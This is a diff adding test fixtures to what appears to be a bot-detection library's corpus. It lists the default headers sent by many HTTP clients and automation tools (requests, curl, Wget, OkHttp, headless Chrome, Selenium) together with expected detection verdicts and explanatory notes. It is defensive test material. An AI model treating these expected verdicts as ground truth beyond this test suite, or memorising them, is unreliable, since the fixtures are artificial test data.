|
+
|
|
3418
|
+
// src/corpus/libraries-extended.ts
|
|
3419
|
+
function client(id, title, headers, provenance, options = {}) {
|
|
3420
|
+
const request = {
|
|
3421
|
+
headers: [["Host", "shop.example"], ...headers],
|
|
3422
|
+
protocol: "https",
|
|
3423
|
+
httpVersion: "1.1",
|
|
3424
|
+
...options.path !== void 0 ? { path: options.path } : {},
|
|
3425
|
+
...options.method !== void 0 ? { method: options.method } : {}
|
|
3426
|
+
};
|
|
3427
|
+
return bot({
|
|
3428
|
+
id,
|
|
3429
|
+
title,
|
|
3430
|
+
audience: options.audience ?? "unwanted-bot",
|
|
3431
|
+
category: "http-library",
|
|
3432
|
+
provenance,
|
|
3433
|
+
...options.notes !== void 0 ? { notes: options.notes } : {},
|
|
3434
|
+
requests: [request],
|
|
3435
|
+
expect: options.automation === true ? { verdict: "confirmed-bot", botClass: "automation", certain: true } : options.suspectedOnly === true ? { verdict: "suspected-bot", botClass: "http-client", certain: false, detectors: ["self-identified"] } : options.certain === false ? { certain: false, botClass: ["http-client", "unknown"] } : {
|
|
3436
|
+
verdict: "confirmed-bot",
|
|
3437
|
+
botClass: options.botClass ?? "http-client",
|
|
3438
|
+
certain: true,
|
|
3439
|
+
...options.identity !== void 0 ? { identity: options.identity } : {},
|
|
3440
|
+
detectors: ["self-identified"]
|
|
3441
|
+
}
|
|
3442
|
+
});
|
|
3443
|
+
}
|
|
3444
|
+
var EXTENDED_LIBRARY_CASES = [
|
|
3445
|
+
// ---- Python ----
|
|
3446
|
+
client("lib-requests-session", "requests with a Session and keep-alive", [["User-Agent", "python-requests/2.32.4"], ["Accept-Encoding", "gzip, deflate, zstd"], ["Accept", "*/*"], ["Connection", "keep-alive"]], "requests 2.32 added zstd to its default Accept-Encoding", { identity: "python" }),
|
|
3447
|
+
client("lib-requests-json-post", "requests posting JSON", [["User-Agent", "python-requests/2.32.4"], ["Accept-Encoding", "gzip, deflate"], ["Accept", "*/*"], ["Connection", "keep-alive"], ["Content-Type", "application/json"], ["Content-Length", "142"]], "The shape of a scripted API call", { identity: "python", method: "POST", path: "/api/v1/orders" }),
|
|
3448
|
+
client("lib-httpx-async", "httpx in async mode", [["Accept", "*/*"], ["Accept-Encoding", "gzip, deflate, br, zstd"], ["Connection", "keep-alive"], ["User-Agent", "python-httpx/0.28.1"]], "httpx sorts its defaults differently from requests and sends User-Agent last", { identity: "python" }),
|
|
3449
|
+
client("lib-aiohttp-client", "aiohttp", [["Accept", "*/*"], ["Accept-Encoding", "gzip, deflate"], ["User-Agent", "Python/3.13 aiohttp/3.11.11"]], "aiohttp names the interpreter version ahead of its own", { identity: "python" }),
|
|
3450
|
+
client("lib-urllib3-direct", "urllib3 used directly", [["User-Agent", "python-urllib3/2.3.0"], ["Accept-Encoding", "identity"]], "urllib3 below requests sends a bare identity encoding", { identity: "python" }),
|
|
3451
|
+
client("lib-python-urllib", "the standard library's urllib", [["Accept-Encoding", "identity"], ["User-Agent", "Python-urllib/3.13"], ["Connection", "close"]], "urllib emits Accept-Encoding before Host and sends no Accept at all", { identity: "python" }),
|
|
3452
|
+
client("lib-scrapy-crawler", "Scrapy", [["User-Agent", "Scrapy/2.12.0 (+https://scrapy.org)"], ["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"], ["Accept-Language", "en"], ["Accept-Encoding", "gzip, deflate"]], "Scrapy's default crawler headers; it names a contact URL like a polite crawler", { identity: "python" }),
|
|
3453
|
+
client("lib-selenium-wire", "selenium-wire's underlying client", [["User-Agent", "python-requests/2.32.4"], ["Accept-Encoding", "gzip, deflate"], ["Accept", "*/*"], ["X-Selenium-Wire", "1"]], "Instrumented Selenium proxies leak their own headers", { identity: "python" }),
|
|
3454
|
+
client("lib-mechanicalsoup", "MechanicalSoup", [["User-Agent", "python-requests/2.32.4"], ["Accept-Encoding", "gzip, deflate"], ["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"], ["Connection", "keep-alive"]], "A form-filling wrapper over requests, used for scripted logins", { identity: "python" }),
|
|
3455
|
+
// ---- JavaScript and TypeScript ----
|
|
3456
|
+
client("lib-undici-fetch", "Node's built-in fetch", [["Accept", "*/*"], ["Accept-Language", "*"], ["Sec-Fetch-Mode", "cors"], ["User-Agent", "node"], ["Accept-Encoding", "gzip, deflate"]], "Node's global fetch is undici; it sends a bare 'node' User-Agent and an Accept-Language of *", { certain: false, notes: "Two characters of User-Agent. Undici also sends Sec-Fetch-Mode, which is unusual for a non-browser and shows that Fetch Metadata alone does not imply a browser." }),
|
|
3457
|
+
client("lib-node-fetch-v3", "node-fetch v3", [["Accept", "*/*"], ["User-Agent", "node-fetch"], ["Accept-Encoding", "gzip,deflate,br"], ["Connection", "close"]], "node-fetch v3 dropped the URL from its default User-Agent", { identity: "node" }),
|
|
3458
|
+
client("lib-axios-node", "axios in Node", [["Accept", "application/json, text/plain, */*"], ["User-Agent", "axios/1.8.4"], ["Accept-Encoding", "gzip, compress, deflate, br"]], "axios in Node; in a browser it cannot set User-Agent at all", { identity: "node" }),
|
|
3459
|
+
client("lib-got", "got", [["User-Agent", "got (https://github.com/sindresorhus/got)"], ["Accept-Encoding", "gzip, deflate, br"]], "got names its repository in the User-Agent", { identity: "node" }),
|
|
3460
|
+
client("lib-superagent", "superagent", [["User-Agent", "superagent/9.0.2"], ["Accept-Encoding", "gzip, deflate"]], "A long-lived Node client still common in older services", { identity: "node" }),
|
|
3461
|
+
client("lib-puppeteer-fetch", "Puppeteer's page.goto with an overridden UA", [["User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/152.0.0.0 Safari/537.36"], ["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"], ["Accept-Encoding", "gzip, deflate, br"], ["Accept-Language", "en-US"]], "Puppeteer leaves HeadlessChrome in the UA unless told otherwise", { audience: "unwanted-bot", automation: true, identity: "headless-chrome" }),
|
|
3462
|
+
client("lib-deno-fetch", "Deno's fetch", [["Accept", "*/*"], ["Accept-Encoding", "gzip, br"], ["User-Agent", "Deno/2.1.9"], ["Accept-Language", "*"]], "Deno identifies its runtime and version", { identity: "node" }),
|
|
3463
|
+
client("lib-bun-fetch", "Bun's fetch", [["Accept", "*/*"], ["Accept-Encoding", "gzip, deflate, br"], ["User-Agent", "Bun/1.2.4"], ["Connection", "keep-alive"]], "Bun identifies its runtime and version", { identity: "node" }),
|
|
3464
|
+
// ---- JVM ----
|
|
3465
|
+
client("lib-okhttp-android", "OkHttp from an Android app", [["User-Agent", "okhttp/4.12.0"], ["Connection", "Keep-Alive"], ["Accept-Encoding", "gzip"]], "The default client behind most Android apps; Connection precedes Accept-Encoding", { identity: "java" }),
|
|
3466
|
+
client("lib-retrofit", "Retrofit over OkHttp", [["Accept", "application/json"], ["User-Agent", "okhttp/4.12.0"], ["Connection", "Keep-Alive"], ["Accept-Encoding", "gzip"]], "Retrofit adds an Accept and leaves OkHttp's own headers in place", { identity: "java" }),
|
|
3467
|
+
client("lib-jdk-httpclient", "The JDK HttpClient", [["User-Agent", "Java-http-client/21.0.6"], ["Connection", "Upgrade, HTTP2-Settings"], ["Upgrade", "h2c"], ["HTTP2-Settings", "AAEAAEAAAAIAAAABAAMAAABkAAQBAAAAAAUAAEAA"]], "The JDK client attempts an h2c upgrade over cleartext, which browsers never do", { identity: "java" }),
|
|
3468
|
+
client("lib-apache-httpclient5", "Apache HttpClient 5", [["User-Agent", "Apache-HttpClient/5.4.1 (Java/21.0.6)"], ["Accept-Encoding", "gzip, x-gzip, deflate"], ["Connection", "keep-alive"]], "Ubiquitous in JVM services; note the x-gzip alias no browser sends", { identity: "java" }),
|
|
3469
|
+
client("lib-spring-webclient", "Spring WebClient over Reactor Netty", [["User-Agent", "ReactorNetty/1.2.2"], ["Accept", "application/json"], ["Accept-Encoding", "gzip"]], "The reactive stack in most modern Spring services", { certain: false }),
|
|
3470
|
+
client("lib-ktor", "Ktor's client", [["Accept", "*/*"], ["Accept-Charset", "UTF-8"], ["User-Agent", "ktor-client"], ["Accept-Encoding", "gzip,deflate,identity"]], "Ktor still sends Accept-Charset, which browsers dropped over a decade ago", { identity: "java", notes: "Accept-Charset is a genuine period marker: no browser has sent it since 2014." }),
|
|
3471
|
+
client("lib-jsoup", "jsoup fetching a page to parse", [["User-Agent", "Mozilla/5.0 (jsoup)"], ["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"], ["Accept-Encoding", "gzip"]], "jsoup wears a Mozilla preamble it did not earn", { identity: "java", notes: "A Mozilla preamble with `(jsoup)` where the platform block belongs. The preamble buys nothing: the product token names the library, and that is what is read." }),
|
|
3472
|
+
// ---- Go, Rust, and systems languages ----
|
|
3473
|
+
client("lib-go-nethttp", "Go's net/http", [["User-Agent", "Go-http-client/2.0"], ["Accept-Encoding", "gzip"]], "Go sends only a User-Agent and Accept-Encoding by default \u2014 no Accept at all", { identity: "go" }),
|
|
3474
|
+
client("lib-go-resty", "Go with resty", [["User-Agent", "go-resty/2.16.5 (https://github.com/go-resty/resty)"], ["Accept-Encoding", "gzip"]], "resty names its repository", { identity: "go" }),
|
|
3475
|
+
client("lib-rust-reqwest", "Rust's reqwest", [["Accept", "*/*"], ["User-Agent", "reqwest/0.12.12"], ["Accept-Encoding", "gzip, br, zstd, deflate"]], "reqwest advertises four encodings including zstd", { identity: "rust" }),
|
|
3476
|
+
client("lib-rust-ureq", "Rust's ureq", [["User-Agent", "ureq/3.0.5"], ["Accept", "*/*"], ["Accept-Encoding", "gzip"]], "A blocking Rust client common in CLI tools", { identity: "rust" }),
|
|
3477
|
+
client("lib-curl-cli", "curl from a shell", [["User-Agent", "curl/8.12.1"], ["Accept", "*/*"]], "curl sends exactly three headers by default and no Accept-Encoding unless asked", { identity: "curl" }),
|
|
3478
|
+
client("lib-curl-compressed", "curl --compressed", [["User-Agent", "curl/8.12.1"], ["Accept", "*/*"], ["Accept-Encoding", "deflate, gzip, br, zstd"]], "The --compressed flag adds every encoding libcurl was built with", { identity: "curl" }),
|
|
3479
|
+
client("lib-wget", "Wget", [["User-Agent", "Wget/1.25.0"], ["Accept", "*/*"], ["Accept-Encoding", "identity"], ["Connection", "Keep-Alive"]], "Wget defaults to identity encoding", { identity: "wget" }),
|
|
3480
|
+
client("lib-wget2", "Wget2", [["User-Agent", "Wget/2.2.0"], ["Accept-Encoding", "gzip, br, zstd, lzip, deflate"], ["Accept", "*/*"], ["Connection", "keep-alive"]], "Wget2 advertises encodings no browser supports, including lzip", { identity: "wget" }),
|
|
3481
|
+
client("lib-aria2", "aria2 download manager", [["User-Agent", "aria2/1.37.0"], ["Accept", "*/*"], ["Accept-Encoding", "deflate, gzip"], ["Connection", "close"], ["Range", "bytes=0-1048575"]], "aria2 segments downloads with parallel Range requests", { identity: "misc-cli", path: "/downloads/catalogue.pdf" }),
|
|
3482
|
+
// ---- PHP, Ruby, Perl, .NET ----
|
|
3483
|
+
client("lib-guzzle", "Guzzle", [["User-Agent", "GuzzleHttp/7.9.2 curl/8.12.1 PHP/8.4.3"], ["Accept", "*/*"]], "Guzzle names itself, libcurl and PHP in one string", { identity: "php" }),
|
|
3484
|
+
client("lib-php-file-get-contents", "PHP's file_get_contents", [["User-Agent", "PHP/8.4.3"], ["Accept", "*/*"], ["Connection", "close"]], "The default stream wrapper sends the bare interpreter version", { identity: "php" }),
|
|
3485
|
+
client("lib-wordpress-pingback", "A WordPress pingback", [["User-Agent", "WordPress/6.8.1; https://blog.example"], ["Accept", "*/*"], ["Accept-Encoding", "deflate;q=1.0, compress;q=0.5, gzip;q=0.5"], ["Content-Type", "application/x-www-form-urlencoded"]], "WordPress names the calling site in its User-Agent, which makes it traceable", { identity: "php", method: "POST", path: "/xmlrpc.php", notes: "Honest automation from somebody else's blog. A block here breaks a pingback, not an attack." }),
|
|
3486
|
+
client("lib-drupal-http", "Drupal's HTTP client", [["User-Agent", "Drupal/11.1 (+https://www.drupal.org/)"], ["Accept", "*/*"], ["Accept-Encoding", "gzip"]], "Drupal names its project URL", { identity: "php" }),
|
|
3487
|
+
client("lib-ruby-faraday", "Ruby with Faraday", [["User-Agent", "Faraday v2.12.2"], ["Accept-Encoding", "gzip;q=1.0,deflate;q=0.6,identity;q=0.3"], ["Accept", "*/*"]], "Faraday's quality-weighted encoding list is distinctive", { identity: "ruby" }),
|
|
3488
|
+
client("lib-ruby-nethttp", "Ruby's Net::HTTP", [["Accept-Encoding", "gzip;q=1.0,deflate;q=0.6,identity;q=0.3"], ["Accept", "*/*"], ["User-Agent", "Ruby"], ["Connection", "close"]], "The standard library sends a User-Agent of exactly 'Ruby'", { suspectedOnly: true, notes: "Four characters. No signature matches it \u2014 a token of 'ruby' would match any string containing the word \u2014 so it is caught by shape alone, as a bare product token no browser emits. Strong, not proven, and that is the right answer." }),
|
|
3489
|
+
client("lib-httprb-mastodon", "http.rb, as used by Mastodon", [["User-Agent", "http.rb/5.2.0 (Mastodon/4.3.4; +https://mastodon.example/)"], ["Accept", "application/activity+json, application/ld+json"], ["Accept-Encoding", "gzip"]], "Fediverse servers fetch on their users' behalf and name both the library and the instance", { audience: "benign-bot", identity: "mastodon", botClass: "declared-bot", notes: "One shared link can arrive from hundreds of instances at once, each a separate server acting for a real reader. Identified as Mastodon rather than as a Ruby client: the more specific claim is the more useful one for writing a rule." }),
|
|
3490
|
+
client("lib-dotnet-httpclient", ".NET HttpClient", [["User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) HttpClient/9.0"], ["Accept-Encoding", "gzip, deflate, br"], ["Connection", "keep-alive"]], "Even library clients sometimes wear a Mozilla preamble", { identity: "dotnet" }),
|
|
3491
|
+
client("lib-restsharp", "RestSharp", [["User-Agent", "RestSharp/112.1.0"], ["Accept", "application/json, text/json, text/x-json, text/javascript, application/xml, text/xml"], ["Accept-Encoding", "gzip, deflate"]], "RestSharp's Accept list is long and unmistakably not a browser's", { identity: "dotnet" }),
|
|
3492
|
+
client("lib-powershell-invoke", "PowerShell's Invoke-WebRequest", [["User-Agent", "Mozilla/5.0 (Windows NT 10.0; Microsoft Windows 10.0.26100; en-GB) PowerShell/7.5.0"], ["Accept-Encoding", "gzip, deflate, br"]], "PowerShell names the exact Windows build and the shell version", { identity: "shell", notes: "A Mozilla preamble again, beside a product token no browser emits. Invoke-WebRequest is a deployment script far more often than it is an attack." }),
|
|
3493
|
+
client("lib-libwww-perl", "Perl's LWP", [["User-Agent", "libwww-perl/6.78"], ["TE", "deflate,gzip;q=0.3"]], "One of the oldest scripted clients still in circulation", { identity: "perl" }),
|
|
3494
|
+
// ---- CLI tools people use by hand ----
|
|
3495
|
+
client("lib-httpie", "HTTPie", [["User-Agent", "HTTPie/3.2.4"], ["Accept-Encoding", "gzip, deflate"], ["Accept", "*/*"], ["Connection", "keep-alive"]], "A command-line client aimed at people rather than at scripts", { identity: "misc-cli", notes: "Automation by shape, a developer by intent. Worth remembering when choosing an action." }),
|
|
3496
|
+
client("lib-postman", "Postman", [["User-Agent", "PostmanRuntime/7.43.0"], ["Accept", "*/*"], ["Cache-Control", "no-cache"], ["Postman-Token", "0a1b2c3d-4e5f-6071-8293-a4b5c6d7e8f9"], ["Accept-Encoding", "gzip, deflate, br"], ["Connection", "keep-alive"]], "Postman adds a per-request token header of its own", { identity: "misc-cli" }),
|
|
3497
|
+
client("lib-insomnia", "Insomnia", [["User-Agent", "insomnia/10.3.0"], ["Accept", "*/*"], ["Accept-Encoding", "gzip, deflate, br"]], "An API client, a person clicking Send", { identity: "misc-cli" }),
|
|
3498
|
+
client("lib-xh", "xh", [["User-Agent", "xh/0.23.1"], ["Accept", "*/*"], ["Accept-Encoding", "gzip, deflate, br, zstd"], ["Connection", "keep-alive"]], "A Rust reimplementation of HTTPie", { certain: false }),
|
|
3499
|
+
client("lib-k6-load-test", "A k6 load test", [["User-Agent", "k6/0.56.0 (https://k6.io/)"], ["Accept", "*/*"], ["Accept-Encoding", "gzip"]], "Load generators identify themselves; usually this is your own test running against your own site", { identity: "k6", audience: "infrastructure", notes: "k6 is a named signature, and deliberately a `library` one rather than a `monitoring` one: monitoring is a benign category and benign categories are allowed by default, which is the wrong default for a tool whose purpose is generating load. Allowlist the load generator addresses before a test rather than discovering mid-run that the bot policy is what you measured." }),
|
|
3500
|
+
client("lib-vegeta", "A Vegeta load test", [["User-Agent", "Go-http-client/2.0"], ["Accept-Encoding", "gzip"], ["X-Vegeta-Attack", "1"]], "Vegeta is built on Go's client and inherits its header set", { identity: "go", audience: "infrastructure" }),
|
|
3501
|
+
client("lib-ab-benchmark", "ApacheBench", [["User-Agent", "ApacheBench/2.3"], ["Accept", "*/*"]], "The oldest load tool still in daily use", { suspectedOnly: true, audience: "infrastructure" })
|
|
3502
|
+
];
|
|
3503
|
+
|
|
3504
|
+
// src/corpus/tooling.ts
|
|
3505
|
+
function library(id, title, headers, provenance, identity, notes) {
|
|
3506
|
+
return bot({
|
|
3507
|
+
id,
|
|
3508
|
+
title,
|
|
3509
|
+
audience: "unwanted-bot",
|
|
3510
|
+
category: "http-library",
|
|
3511
|
+
provenance,
|
|
3512
|
+
...notes !== void 0 ? { notes } : {},
|
|
3513
|
+
requests: [{ headers, protocol: "https", httpVersion: "1.1" }],
|
|
3514
|
+
expect: {
|
|
3515
|
+
verdict: "confirmed-bot",
|
|
3516
|
+
botClass: "http-client",
|
|
3517
|
+
certain: true,
|
|
3518
|
+
...identity !== void 0 ? { identity } : {},
|
|
3519
|
+
detectors: ["self-identified"]
|
|
3520
|
+
}
|
|
3521
|
+
});
|
|
3522
|
+
}
|
|
3523
|
+
var TOOLING_CASES = [
|
|
3524
|
+
// ---------------------------------------------------------------------------
|
|
3525
|
+
// HTTP libraries, in the header order each actually sends.
|
|
3526
|
+
// ---------------------------------------------------------------------------
|
|
3527
|
+
library(
|
|
3528
|
+
"python-requests",
|
|
3529
|
+
"python-requests",
|
|
3530
|
+
[["Host", "shop.example"], ["User-Agent", "python-requests/2.32.3"], ["Accept-Encoding", "gzip, deflate"], ["Accept", "*/*"], ["Connection", "keep-alive"]],
|
|
3531
|
+
"requests sends User-Agent, Accept-Encoding, Accept, Connection \u2014 Accept-Encoding ahead of Accept, which no browser does",
|
|
3532
|
+
"python",
|
|
3533
|
+
"Exercises both the signature and the header-order invariant at once."
|
|
3534
|
+
),
|
|
3535
|
+
library(
|
|
3536
|
+
"python-httpx",
|
|
3537
|
+
"httpx",
|
|
3538
|
+
[["Host", "shop.example"], ["Accept", "*/*"], ["Accept-Encoding", "gzip, deflate, br"], ["Connection", "keep-alive"], ["User-Agent", "python-httpx/0.27.2"]],
|
|
3539
|
+
"httpx sorts differently from requests and sends User-Agent last",
|
|
3540
|
+
"python"
|
|
3541
|
+
),
|
|
3542
|
+
library(
|
|
3543
|
+
"python-aiohttp",
|
|
3544
|
+
"aiohttp",
|
|
3545
|
+
[["Host", "shop.example"], ["Accept", "*/*"], ["Accept-Encoding", "gzip, deflate"], ["User-Agent", "Python/3.12 aiohttp/3.10.5"]],
|
|
3546
|
+
"aiohttp's default client header set",
|
|
3547
|
+
"python"
|
|
3548
|
+
),
|
|
3549
|
+
library(
|
|
3550
|
+
"python-urllib",
|
|
3551
|
+
"urllib",
|
|
3552
|
+
[["Accept-Encoding", "identity"], ["Host", "shop.example"], ["User-Agent", "Python-urllib/3.12"], ["Connection", "close"]],
|
|
3553
|
+
"urllib sends Host *second* and Accept-Encoding: identity \u2014 a request shape no browser produces",
|
|
3554
|
+
"python"
|
|
3555
|
+
),
|
|
3556
|
+
library(
|
|
3557
|
+
"scrapy",
|
|
3558
|
+
"Scrapy",
|
|
3559
|
+
[["Host", "shop.example"], ["User-Agent", "Scrapy/2.11.2 (+https://scrapy.org)"], ["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"], ["Accept-Language", "en"], ["Accept-Encoding", "gzip, deflate"]],
|
|
3560
|
+
"Scrapy's default crawler headers; it names a contact URL like a polite crawler",
|
|
3561
|
+
"python"
|
|
3562
|
+
),
|
|
3563
|
+
library(
|
|
3564
|
+
"curl",
|
|
3565
|
+
"curl",
|
|
3566
|
+
[["Host", "shop.example"], ["User-Agent", "curl/8.11.1"], ["Accept", "*/*"]],
|
|
3567
|
+
"curl sends exactly three headers by default",
|
|
3568
|
+
"curl"
|
|
3569
|
+
),
|
|
3570
|
+
library("wget", "Wget", [["Host", "shop.example"], ["User-Agent", "Wget/1.24.5"], ["Accept", "*/*"], ["Accept-Encoding", "identity"], ["Connection", "Keep-Alive"]], "Wget's default header set", "wget"),
|
|
3571
|
+
library(
|
|
3572
|
+
"go-http-client",
|
|
3573
|
+
"Go's net/http",
|
|
3574
|
+
[["Host", "shop.example"], ["User-Agent", "Go-http-client/2.0"], ["Accept-Encoding", "gzip"]],
|
|
3575
|
+
"Go sends only a User-Agent and Accept-Encoding by default \u2014 no Accept at all",
|
|
3576
|
+
"go"
|
|
3577
|
+
),
|
|
3578
|
+
library("node-fetch", "node-fetch", [["Host", "shop.example"], ["Accept", "*/*"], ["User-Agent", "node-fetch/1.0 (+https://github.com/bitinn/node-fetch)"], ["Accept-Encoding", "gzip,deflate"], ["Connection", "close"]], "node-fetch default headers; it sends Accept before User-Agent, unlike any browser", "node"),
|
|
3579
|
+
library("axios", "axios", [["Host", "shop.example"], ["Accept", "application/json, text/plain, */*"], ["User-Agent", "axios/1.7.7"], ["Accept-Encoding", "gzip, compress, deflate, br"]], "axios in Node; in a browser it cannot set User-Agent at all", "node"),
|
|
3580
|
+
library("okhttp", "OkHttp", [["Host", "shop.example"], ["User-Agent", "okhttp/4.12.0"], ["Connection", "Keep-Alive"], ["Accept-Encoding", "gzip"]], "The default client for most Android apps", "java"),
|
|
3581
|
+
library("java-httpclient", "Java HttpClient", [["Host", "shop.example"], ["User-Agent", "Java-http-client/21.0.4"], ["Connection", "Upgrade, HTTP2-Settings"]], "The JDK's built-in client", "java"),
|
|
3582
|
+
library("apache-httpclient", "Apache HttpClient", [["Host", "shop.example"], ["User-Agent", "Apache-HttpClient/5.3.1 (Java/21.0.4)"], ["Accept-Encoding", "gzip, x-gzip, deflate"], ["Connection", "keep-alive"]], "Ubiquitous in JVM services", "java"),
|
|
3583
|
+
library("guzzle", "Guzzle", [["Host", "shop.example"], ["User-Agent", "GuzzleHttp/7.9.2 curl/8.11.1 PHP/8.3.12"], ["Accept", "*/*"]], "The default PHP HTTP client; note it names curl and PHP too", "php"),
|
|
3584
|
+
library("wordpress", "WordPress", [["Host", "shop.example"], ["User-Agent", "WordPress/6.7.1; https://blog.example"], ["Accept", "*/*"], ["Accept-Encoding", "deflate;q=1.0, compress;q=0.5, gzip;q=0.5"]], "WordPress pingbacks and feed fetches identify the calling site", "php", "Honest automation from somebody else's blog. A block here breaks a pingback, not an attack."),
|
|
3585
|
+
library("ruby-faraday", "Ruby Faraday", [["Host", "shop.example"], ["User-Agent", "Faraday v2.12.0"], ["Accept-Encoding", "gzip;q=1.0,deflate;q=0.6,identity;q=0.3"], ["Accept", "*/*"]], "A common Ruby client stack", "ruby"),
|
|
3586
|
+
library("dotnet-httpclient", ".NET HttpClient", [["Host", "shop.example"], ["User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) HttpClient/8.0"], ["Accept-Encoding", "gzip, deflate, br"]], "Note the Mozilla prefix: even library clients sometimes wear a browser preamble", "dotnet"),
|
|
3587
|
+
library("postman", "Postman", [["Host", "shop.example"], ["User-Agent", "PostmanRuntime/7.42.0"], ["Accept", "*/*"], ["Accept-Encoding", "gzip, deflate, br"], ["Connection", "keep-alive"]], "A person clicking Send in Postman \u2014 automation by shape, a human by intent", "misc-cli", "Worth remembering when choosing an action: there is a developer on the other end of this one."),
|
|
3588
|
+
library("httpie", "HTTPie", [["Host", "shop.example"], ["User-Agent", "HTTPie/3.2.4"], ["Accept-Encoding", "gzip, deflate"], ["Accept", "*/*"], ["Connection", "keep-alive"]], "A command-line client aimed at people", "misc-cli"),
|
|
3589
|
+
library("libwww-perl", "LWP", [["Host", "shop.example"], ["User-Agent", "libwww-perl/6.77"], ["TE", "deflate,gzip;q=0.3"]], "One of the oldest scripted clients still in circulation", "perl"),
|
|
3590
|
+
bot({
|
|
3591
|
+
id: "unknown-bare-token",
|
|
3592
|
+
title: "An unrecognised internal service client",
|
|
3593
|
+
audience: "unwanted-bot",
|
|
3594
|
+
category: "http-library",
|
|
3595
|
+
provenance: "A hand-rolled User-Agent from somebody's internal integration",
|
|
3596
|
+
notes: "Not in any signature database and never will be. The shape alone \u2014 a bare product token with no browser preamble \u2014 is enough for `strong`, and no more. This is the case the allowlist exists for.",
|
|
3597
|
+
requests: [plain("AcmeInventorySync/2.3")],
|
|
3598
|
+
expect: { verdict: "suspected-bot", botClass: "http-client", certain: false, minScore: 55 }
|
|
3599
|
+
}),
|
|
3600
|
+
bot({
|
|
3601
|
+
id: "no-user-agent-at-all",
|
|
3602
|
+
title: "A request with no User-Agent",
|
|
3603
|
+
audience: "unwanted-bot",
|
|
3604
|
+
category: "http-library",
|
|
3605
|
+
provenance: "Common in scripts, and also produced by some stripped-down proxies",
|
|
3606
|
+
notes: "Deliberately only `moderate`. Header-stripping intermediaries do this to real people.",
|
|
3607
|
+
requests: [{ headers: [["Host", "shop.example"], ["Accept", "*/*"]], protocol: "https", httpVersion: "1.1" }],
|
|
3608
|
+
expect: { certain: false, maxScore: 60 }
|
|
3609
|
+
}),
|
|
3610
|
+
// ---------------------------------------------------------------------------
|
|
3611
|
+
// Automation runtimes that are not hiding.
|
|
3612
|
+
// ---------------------------------------------------------------------------
|
|
3613
|
+
bot({
|
|
3614
|
+
id: "headless-chrome-default",
|
|
3615
|
+
title: "Headless Chrome with its default User-Agent",
|
|
3616
|
+
audience: "unwanted-bot",
|
|
3617
|
+
category: "automation",
|
|
3618
|
+
provenance: "Puppeteer and Playwright leave HeadlessChrome in the UA unless told otherwise",
|
|
3619
|
+
requests: [plain("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/152.0.0.0 Safari/537.36")],
|
|
3620
|
+
expect: { verdict: "confirmed-bot", botClass: "automation", certain: true }
|
|
3621
|
+
}),
|
|
3622
|
+
bot({
|
|
3623
|
+
id: "headless-chrome-client-hints",
|
|
3624
|
+
title: "Headless Chrome that hid the UA but not the Client Hints",
|
|
3625
|
+
audience: "unwanted-bot",
|
|
3626
|
+
category: "automation",
|
|
3627
|
+
provenance: "Overriding navigator.userAgent does not rewrite Sec-CH-UA, so the brand list still says HeadlessChrome",
|
|
3628
|
+
notes: "A self-declaration in a place the operator forgot to edit \u2014 which makes it a statement rather than an inference, and therefore `certain`.",
|
|
3629
|
+
requests: [
|
|
3630
|
+
{
|
|
3631
|
+
headers: [
|
|
3632
|
+
["Host", "shop.example"],
|
|
3633
|
+
["Connection", "keep-alive"],
|
|
3634
|
+
["sec-ch-ua", '"HeadlessChrome";v="152", "Chromium";v="152", "Not(A:Brand";v="24"'],
|
|
3635
|
+
["sec-ch-ua-mobile", "?0"],
|
|
3636
|
+
["sec-ch-ua-platform", '"Linux"'],
|
|
3637
|
+
["User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36"],
|
|
3638
|
+
["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"],
|
|
3639
|
+
["Accept-Encoding", "gzip, deflate, br"],
|
|
3640
|
+
["Accept-Language", "en-US"]
|
|
3641
|
+
],
|
|
3642
|
+
protocol: "https",
|
|
3643
|
+
httpVersion: "1.1"
|
|
3644
|
+
}
|
|
3645
|
+
],
|
|
3646
|
+
expect: { verdict: "confirmed-bot", botClass: "automation", certain: true, detectors: ["client-hints"] }
|
|
3647
|
+
}),
|
|
3648
|
+
bot({
|
|
3649
|
+
id: "selenium-webdriver",
|
|
3650
|
+
title: "Selenium WebDriver",
|
|
3651
|
+
audience: "unwanted-bot",
|
|
3652
|
+
category: "automation",
|
|
3653
|
+
provenance: "Some grid configurations leave a webdriver token in the UA",
|
|
3654
|
+
requests: [plain("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36 selenium/4.25.0")],
|
|
3655
|
+
expect: { verdict: "confirmed-bot", botClass: "automation", certain: true }
|
|
3656
|
+
}),
|
|
3657
|
+
bot({
|
|
3658
|
+
id: "phantomjs",
|
|
3659
|
+
title: "PhantomJS",
|
|
3660
|
+
audience: "unwanted-bot",
|
|
3661
|
+
category: "automation",
|
|
3662
|
+
provenance: "Long unmaintained, still seen in old scraping stacks",
|
|
3663
|
+
requests: [plain("Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1")],
|
|
3664
|
+
expect: { verdict: "confirmed-bot", botClass: "automation", certain: true }
|
|
3665
|
+
}),
|
|
3666
|
+
bot({
|
|
3667
|
+
id: "splash-renderer",
|
|
3668
|
+
title: "Splash, a scriptable rendering service",
|
|
3669
|
+
audience: "unwanted-bot",
|
|
3670
|
+
category: "automation",
|
|
3671
|
+
provenance: "Scrapy's JavaScript rendering companion",
|
|
3672
|
+
requests: [plain("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/602.1 (KHTML, like Gecko) splash/3.5 Safari/602.1")],
|
|
3673
|
+
expect: { verdict: "confirmed-bot", botClass: "automation", certain: true }
|
|
3674
|
+
}),
|
|
3675
|
+
// ---------------------------------------------------------------------------
|
|
3676
|
+
